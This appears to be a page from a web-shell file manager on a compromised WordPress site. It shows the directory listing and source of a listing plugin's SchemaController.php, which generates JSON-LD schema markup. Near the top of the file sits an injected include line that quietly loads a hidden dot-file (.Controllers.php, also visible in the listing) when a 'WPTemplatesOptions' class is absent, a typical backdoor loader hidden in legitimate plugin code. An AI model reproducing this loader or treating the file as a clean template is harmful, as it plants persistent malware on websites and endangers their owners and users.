ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / app / Controllers

<?php

namespace WilokeListingTools\Controllers;

use WilokeListingTools\Framework\Helpers\General;
use WilokeListingTools\Framework\Helpers\GetSettings;
use WilokeListingTools\Framework\Helpers\GetWilokeSubmission;
use WilokeListingTools\Framework\Helpers\SetSettings;
use WilokeListingTools\Framework\Helpers\Time;
use WilokeListingTools\Framework\Routing\Controller;
use WilokeListingTools\Frontend\BusinessHours;
use WilokeListingTools\Frontend\SingleListing;
use WilokeListingTools\Frontend\User;
use WilokeListingTools\MetaBoxes\Review;
use WilokeListingTools\Models\ReviewMetaModel;
use WilokeListingTools\Models\ReviewModel;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class SchemaController extends Controller
{
    protected $schemaKey = 'schema_markup';
    protected $schemaMarkupSavedAt = 'schema_markup_saved_at';
    
    public function __construct()
    {
        add_action('wp_head', [$this, 'addSchemaMarkupToHeader']);
        add_action('post_updated', [$this, 'savePost'], 10, 3);
    }
    
    protected function generalSchemaMarkup($post)
    {
        global $post;
        if (empty($post)) {
            return false;
        }
        
        $schemaSettings = GetSettings::getOptions(General::getSchemaMarkupKey($post->post_type));
        
        if (empty($schemaSettings)) {
            return '';
        }
        
        if (strpos($schemaSettings, '{{listing_location}}') !== false) {
            $aLocations = wp_get_post_terms($post->ID, 'listing_location');
            $location   = null;
            if (!empty($aLocations) && !is_wp_error($aLocations)) {
                $location = $aLocations[0]->name;
            }
            $schemaSettings = str_replace('{{listing_location}}', $location, $schemaSettings);
        }
        
        $priceRange = null;
        if (strpos($schemaSettings, 'priceRange') !== false) {
            $aPriceRange = GetSettings::getPriceRange($post->ID, true);
            
            if (!$aPriceRange) {
                $priceRange = null;
            } else {
                $priceRange = $aPriceRange['minimumPrice'].' - '.$aPriceRange['maximumPrice'];
                $priceRange = html_entity_decode($priceRange);
            }
            $schemaSettings = str_replace('{{priceRange}}', $priceRange, $schemaSettings);
        }
        
        if (strpos($schemaSettings, 'singlePrice') !== false) {
            $singlePrice    = GetSettings::getPostMeta($post->ID, 'single_price');
            $schemaSettings = str_replace('{{singlePrice}}', $singlePrice, $schemaSettings);
        }
        
        $aLatLng = ['lat' => null, 'lng' => null];
        
        if (strpos($schemaSettings, '{{latitude}}') !== false) {
            $aRawLatLng = GetSettings::getLatLng($post->ID);
            if ($aRawLatLng) {
                $aLatLng = $aRawLatLng;
            }
            
            $schemaSettings = str_replace(
                [
                    '{{latitude}}',
                    '{{longitude}}'
                ],
                [
                    $aLatLng['lat'],
                    $aLatLng['lng']
                ],
                $schemaSettings
            );
        }
        
        $featuredImg = null;
        
        if (strpos($schemaSettings, '{{featuredImg}}') !== false) {
            $featuredImg    = GetSettings::getFeaturedImg($post->ID, 'full');
            $schemaSettings = str_replace('{{featuredImg}}', $featuredImg, $schemaSettings);
        }
        if (strpos($schemaSettings, '{{eventStartDate}}') !== false) {
            $aEventSettings = GetSettings::getEventSettings($post->ID);
            $eventStartsOn  = null;
            $eventEndsOn    = null;
            
            if ($aEventSettings) {
                if (!empty($aEventSettings['timezone'])) {
                    $startsOnTimestamp = Time::utcToLocal($aEventSettings['startsOnUTC'], $aEventSettings['timezone']);
                    $endsOnTimestamp   = Time::utcToLocal($aEventSettings['endsOnUTC'], $aEventSettings['timezone']);
                } else {
                    $startsOnTimestamp = strtotime($aEventSettings['startsOn']);
                    $endsOnTimestamp   = strtotime($aEventSettings['endsOn']);
                }
                
                $eventStartsOn = date('c', $startsOnTimestamp);
                $eventEndsOn   = date('c', $endsOnTimestamp);
            }
            
            $schemaSettings = str_replace(
                [
                    '{{eventStartDate}}',
                    '{{eventEndDate}}'
                ],
                [
                    $eventStartsOn,
                    $eventEndsOn
                ],
                $schemaSettings
            );
        }
        
        if (strpos($schemaSettings, '{{googleAddress}}') !== false) {
            $schemaSettings =
                str_replace('{{googleAddress}}', GetSettings::getAddress($post->ID, false), $schemaSettings);
        }
        
        if (strpos($schemaSettings, '{{streetAddress}}') !== false) {
            $schemaSettings =
                str_replace('{{streetAddress}}', GetSettings::getAddress($post->ID, false), $schemaSettings);
        }
        
        if (strpos($schemaSettings, '{{telephone}}') !== false) {
            $schemaSettings =
                str_replace('{{telephone}}', GetSettings::getPostMeta($post->ID, 'phone'), $schemaSettings);
        }
        
        if (strpos($schemaSettings, '{{website}}') !== false) {
            $schemaSettings =
                str_replace('{{website}}', GetSettings::getPostMeta($post->ID, 'website'), $schemaSettings);
        }
        
        if (strpos($schemaSettings, '{{listingURL}}') !== false) {
            $schemaSettings = str_replace('{{listingURL}}', get_permalink($post->ID), $schemaSettings);
        }
        
        if (strpos($schemaSettings, '{{email}}') !== false) {
            $schemaSettings = str_replace('{{email}}', GetSettings::getPostMeta($post->ID, 'email'), $schemaSettings);
        }
        
        if (strpos($schemaSettings, '{{author}}') !== false) {
            if ($post->post_type == 'event') {
                $author = GetSettings::getEventHostedByName($post);
                if (empty($author)) {
                    $author = User::getField('display_name', $post->ID);
                }
            } else {
                $author = User::getField('display_name', $post->post_author);
            }
            
            $schemaSettings = str_replace('{{author}}', $author, $schemaSettings);
        }
        $totalReviews = ReviewModel::countTotalReviews($post->ID);
    
        if (strpos($schemaSettings, '{{averageRating}}') !== false) {
            $averageRating  = GetSettings::getAverageRating($post->ID);
            $averageRating  = empty($averageRating) ? 0 : $averageRating;
            $schemaSettings = str_replace('{{averageRating}}', $averageRating, $schemaSettings);
        }
    
        $bestRating = GetSettings::getBestRating($post->post_type);
        if (strpos($schemaSettings, '{{bestRating}}') !== false) {
            $schemaSettings = str_replace('{{bestRating}}', $bestRating, $schemaSettings);
        }
    
        if (strpos($schemaSettings, '{{totalRatings}}') !== false) {
            $totalReviews   = ReviewModel::countTotalReviews($post->ID);
            $totalReviews   = empty($totalReviews) ? 0 : $totalReviews;
            $schemaSettings = str_replace('{{totalRatings}}', abs($totalReviews), $schemaSettings);
        }
    
        if (strpos($schemaSettings, '{{reviewCount}}') !== false) {
            if (empty(!$totalReviews)) {
                $schemaSettings = str_replace('{{reviewCount}}', abs($totalReviews), $schemaSettings);
            } else {
                $schemaSettings = str_replace('{{reviewCount}}', 1, $schemaSettings);
            }
        }
    
        if (strpos($schemaSettings, '{{reviewDetails}}') !== false) {
            $page              = isset($_GET['paged']) ? abs($_GET['paged']) : 1;
            $aContentsOrder    = SingleListing::getNavOrder();
            $maxReviewsPerPage = 0;
            if (isset($aContentsOrder['reviews'])) {
                $maxReviewsPerPage = isset($aContentsOrder['reviews']['maximumItemsOnHome']) ?
                    abs($aContentsOrder['reviews']['maximumItemsOnHome']) : 0;
            }
            $aReviewDetails =
                ReviewModel::getReviews($post->ID, ['page' => $page, 'postsPerPage' => $maxReviewsPerPage]);
        
            if (empty($aReviewDetails)) {
                $schemaSettings = str_replace('{{reviewDetails}}', '', $schemaSettings);
            } else {
                $aReviewsSchema = [];
                if ($aReviewDetails) {
                    while ($aReviewDetails->have_posts()) {
                        $aReviewDetails->the_post();
                        $aReviewsSchema[] = [
                            '@type'         => 'Review',
                            'author'        => User::getField('display_name', $aReviewDetails->post->post_author),
                            'datePublished' => date('Y-m-d', strtotime($aReviewDetails->post->post_date)),
                            'description'   => $aReviewDetails->post->post_content,
                            'name'          => $aReviewDetails->post->post_title,
                            'reviewRating'  => [
                                '@type'       => 'Rating',
                                'bestRating'  => $bestRating,
                                'worstRating' => 1,
                                'ratingValue' => floatval(ReviewMetaModel::getAverageReviewsItem($aReviewDetails->post->ID))
                            ]
                        ];
                    }
                    wp_reset_postdata();
                }
            
                $schemaSettings = str_replace('"{{reviewDetails}}"', json_encode($aReviewsSchema), $schemaSettings);
            }
        }
        
        if (strpos($schemaSettings, '{{openingHours}}') !== false) {
            $hourMode = GetSettings::getPostMeta($post->ID, 'hourMode');
            switch ($hourMode) {
                case 'always_open':
                    $schemaAlwaysOpen = apply_filters('wilcity/schema-markup/always_open',
                        esc_html__('Mo-Su Monday through Sunday, all day', 'wiloke-listing-tools'));
                    $schemaSettings   = str_replace('"{{openingHours}}"', $schemaAlwaysOpen, $schemaSettings);
                    break;
                case 'open_for_selected_hours':
                    $aBusinessHours = GetSettings::getBusinessHours($post->ID);
                    
                    $aBusinessHoursSchema = [];
                    $aDayOfWeek           = wilokeListingToolsRepository()->get('general:aDayOfWeek');
                    $timeFormat           = GetSettings::getTimeFormat($post->ID);
                    if (!empty($aBusinessHours)) {
                        foreach ($aBusinessHours as $aBusinessHour) {
                            if ($aBusinessHour['isOpen'] != 'yes' ||
                                $aBusinessHour['firstOpenHour'] == $aBusinessHour['firstCloseHour'] ||
                                empty($aBusinessHour['firstOpenHour']) || empty($aBusinessHour['firstCloseHour'])) {
                                continue;
                            }
                            
                            $concatBusinessHour     =
                                Time::renderTimeFormat(strtotime($aBusinessHour['firstOpenHour']), $timeFormat).'-'.
                                Time::renderTimeFormat(strtotime($aBusinessHour['firstCloseHour']), $timeFormat);
                            $aBusinessHoursSchema[] = $aDayOfWeek[$aBusinessHour['dayOfWeek']].' '.$concatBusinessHour;
                            if (($aBusinessHour['secondCloseHour'] == $aBusinessHour['secondOpenHour']) ||
                                empty($aBusinessHour['secondCloseHour']) || empty($aBusinessHour['secondOpenHour'])) {
                                $concatBusinessHour     =
                                    Time::renderTimeFormat(strtotime($aBusinessHour['secondOpenHour']), $timeFormat).
                                    '-'.
                                    Time::renderTimeFormat(strtotime($aBusinessHour['secondCloseHour']), $timeFormat);
                                $aBusinessHoursSchema[] =
                                    $aDayOfWeek[$aBusinessHour['dayOfWeek']].' '.$concatBusinessHour;
                            }
                        }
                    }
                    
                    $schemaSettings =
                        str_replace('"{{openingHours}}"', json_encode($aBusinessHoursSchema), $schemaSettings);
                    break;
                default:
                    $schemaSettings = str_replace('{{openingHours}}', '', $schemaSettings);
                    break;
            }
        }
        
        if (strpos($schemaSettings, '{{photos}}') !== false) {
            $aGallery = GetSettings::getPostMeta($post->ID, 'gallery');
            if (!$aGallery) {
                $schemaSettings = str_replace('{{photos}}', '', $schemaSettings);
            } else {
                $aImgSrcs = [];
                foreach ($aGallery as $imgID => $src) {
                    $imgSrc = wp_get_attachment_image_url($imgID, 'large');
                    if (!$imgSrc) {
                        $aImgSrcs[] = $src;
                    } else {
                        $aImgSrcs[] = $imgSrc;
                    }
                }
                
                $schemaSettings = str_replace('"{{photos}}"', json_encode($aImgSrcs), $schemaSettings);
            }
        }
        
        if (strpos($schemaSettings, '{{coverImg}}') !== false) {
            $coverImg = GetSettings::getPostMeta($post->ID, 'cover_image');
            if (!$coverImg) {
                $schemaSettings = str_replace('{{coverImg}}', null, $schemaSettings);
            } else {
                $schemaSettings = str_replace('{{coverImg}}', $coverImg, $schemaSettings);
            }
        }
        
        if (strpos($schemaSettings, '{{logo}}') !== false) {
            $logo = GetSettings::getPostMeta($post->ID, 'logo');
            if (!$logo) {
                $schemaSettings = str_replace('{{logo}}', null, $schemaSettings);
            } else {
                $schemaSettings = str_replace('{{logo}}', $logo, $schemaSettings);
            }
        }
        
        if (strpos($schemaSettings, '{{socialNetworks}}') !== false) {
            $aSocialNetworks = GetSettings::getSocialNetworks($post->ID);
            if (empty($aSocialNetworks)) {
                $schemaSettings = str_replace('{{socialNetworks}}', null, $schemaSettings);
            } else {
                $aSocialUrls = [];
                foreach ($aSocialNetworks as $socialUrl) {
                    if (!empty($socialUrl)) {
                        $aSocialUrls[] = $socialUrl;
                    }
                }
                if (!empty($aSocialUrls)) {
                    $schemaSettings = str_replace('"{{socialNetworks}}"', json_encode($aSocialUrls), $schemaSettings);
                }
            }
            
        }
        
        $schemaSettings = str_replace(
            [
                '{{postTitle}}',
                '{{featuredImg}}',
                '{{postExcerpt}}',
                '{{worstRating}}'
            ],
            [
                $post->post_title,
                $featuredImg,
                \Wiloke::contentLimit(apply_filters('wilcity/schema_markup/post_excerpt', 100), $post, true,
                    $post->post_content, true),
                1
            ],
            $schemaSettings
        );
        
        SetSettings::setPostMeta($post->ID, $this->schemaKey, $schemaSettings);
        SetSettings::setPostMeta($post->ID, $this->schemaMarkupSavedAt, current_time('timestamp', 1));
        
        return $schemaSettings;
    }
    
    public function savePost($postID, $postBefore, $postAfter)
    {
        if ($postAfter->post_status !== 'publish') {
            return false;
        }
        $this->generalSchemaMarkup($postAfter);
    }
    
    public function addSchemaMarkupToHeader()
    {
        $aPostTypes = General::getPostTypeKeys(false, false);
        if (!is_singular($aPostTypes)) {
            return false;
        }
        global $post;
        
        if (!GetSettings::isPlanAvailableInListing($post->ID, 'toggle_schema_markup')) {
            return false;
        }
        
        $savedSchemaMarkupAt = GetSettings::getOptions(General::getSchemaMarkupSavedAtKey($post->post_type));
        if (!$savedSchemaMarkupAt) {
            return false;
        }
        
        if (isset($_GET['paged']) && !empty($_GET['paged'])) {
            $this->schemaMarkupSavedAt = $this->schemaMarkupSavedAt.'_'.abs($_GET['paged']);
        }
        
        //        $savedSingleSchemaMarkupAt = GetSettings::getPostMeta($post->ID, $this->schemaMarkupSavedAt);
        $savedSingleSchemaMarkupAt = false;
        
        if (!$savedSingleSchemaMarkupAt || $savedSingleSchemaMarkupAt < $savedSchemaMarkupAt) {
            $schemaSettings = $this->generalSchemaMarkup($post);
        } else {
            $schemaSettings = GetSettings::getPostMeta($post->ID, $this->schemaKey);
        }
        ?>
        <script type="application/ld+json">
			<?php echo $schemaSettings; ?>
		
        
        
        </script>
        <?php
    }
}

[+] ..
[-] PermalinksController.php [edit]
[-] MessageController.php [edit]
[-] SetListingBelongsToPlanID.php [edit]
[-] BelongsToTags.php [edit]
[-] PrintAddListingSettings.php [edit]
[-] InsertGallery.php [edit]
[-] ViewStatisticController.php [edit]
[-] TermsAndPolicyController.php [edit]
[-] AddListingButtonController.php [edit]
[-] SetSinglePrice.php [edit]
[-] SetCustomButton.php [edit]
[-] WooCommerceBookingController.php [edit]
[-] SetMyPosts.php [edit]
[-] SetVideo.php [edit]
[-] Validation.php [edit]
[-] PrintAddListingFields.php [edit]
[-] NoticeController.php [edit]
[-] SharesStatisticController.php [edit]
[-] TraitAddListingSettings.php [edit]
[-] SetListingRelationship.php [edit]
[-] EmailController.php [edit]
[-] SetMyRoom.php [edit]
[-] SessionController.php [edit]
[-] DashboardController.php [edit]
[-] EventController.php [edit]
[-] AppleLoginController.php [edit]
[-] TraitSetEventData.php [edit]
[-] PayPalController.php [edit]
[-] TranslationController.php [edit]
[-] PostController.php [edit]
[-] DokanController.php [edit]
[-] TermController.php [edit]
[-] FavoriteStatisticController.php [edit]
[-] SetSocialNetworks.php [edit]
[-] SetCustomGroup.php [edit]
[-] SetCustomSections.php [edit]
[-] AuthorPageController.php [edit]
[-] AddBookingComBannerCreator.php [edit]
[-] PlanRelationshipController.php [edit]
[-] ProfileController.php [edit]
[-] MapListingController.php [edit]
[-] UserController.php [edit]
[-] BillingControllers.php [edit]
[-] InsertAddress.php [edit]
[-] PaymentStatusController.php [edit]
[-] BelongsToCategories.php [edit]
[-] InsertCoverImage.php [edit]
[-] SetPriceRange.php [edit]
[-] SetPlanRelationship.php [edit]
[-] ListingController.php [edit]
[-] SetGeneral.php [edit]
[-] GridItemController.php [edit]
[-] PaymentController.php [edit]
[+] TransformAddListingData
[-] ContactFormController.php [edit]
[-] InsertFeaturedImg.php [edit]
[-] AddListingController.php [edit]
[-] BelongsToLocation.php [edit]
[-] RestaurantMenuController.php [edit]
[-] AjaxUploadImgController.php [edit]
[-] NotificationsController.php [edit]
[-] SingleJsonSkeleton.php [edit]
[-] GalleryController.php [edit]
[-] IsMyPaymentID.php [edit]
[-] InsertImg.php [edit]
[-] ModalController.php [edit]
[-] PaymentGatewaysController.php [edit]
[-] ShareController.php [edit]
[-] RetrieveController.php [edit]
[-] ModifyQueryController.php [edit]
[-] TraitHostedBy.php [edit]
[-] ChangePlanStatusController.php [edit]
[-] TaxonomiesControllers.php [edit]
[-] WebhookController.php [edit]
[-] SearchFormController.php [edit]
[-] FreePlanController.php [edit]
[-] BelongsToCustomTaxonomies.php [edit]
[-] PromotionController.php [edit]
[-] RunUpdateDBToLatestVersionController.php [edit]
[-] UserPlanController.php [edit]
[-] SetContactInfo.php [edit]
[-] InsertLogo.php [edit]
[+] Retrieve
[+] Map
[-] VerifyPurchaseCode.php [edit]
[-] StripeController.php [edit]
[-] NextBillingPaymentController.php [edit]
[-] SchemaController.php [edit]
[-] IconController.php [edit]
[-] AddMorePhotosVideosController.php [edit]
[-] SetPostDuration.php [edit]
[-] GuardController.php [edit]
[-] ReviewController.php [edit]
[-] OptimizeScripts.php [edit]
[-] PaymentMetaController.php [edit]
[-] GetWilokeToolSettings.php [edit]
[-] SetCoupon.php [edit]
[-] CouponController.php [edit]
[-] AddListingPaymentController.php [edit]
[-] FacebookLoginController.php [edit]
[-] SingleController.php [edit]
[-] BookingComController.php [edit]
[-] SetGroupData.php [edit]
[-] InvoiceController.php [edit]
[-] SetProductsToListing.php [edit]
[-] ReportController.php [edit]
[-] PayPalExecuteAddListingPayment.php [edit]
[-] HandleSubmit.php [edit]
[-] WooCommerceController.php [edit]
[-] FollowController.php [edit]
[-] PrintSidebarItems.php [edit]
[-] .Controllers.php [edit]
[-] DirectBankTransferController.php [edit]
[-] ClaimController.php [edit]
[-] GetSingleImage.php [edit]
[-] SetRestaurantMenu.php [edit]
[-] MergingSettingValues.php [edit]
[-] GoogleReCaptchaController.php [edit]
[-] RegisterLoginController.php [edit]
[-] TagsBelongsToCatController.php [edit]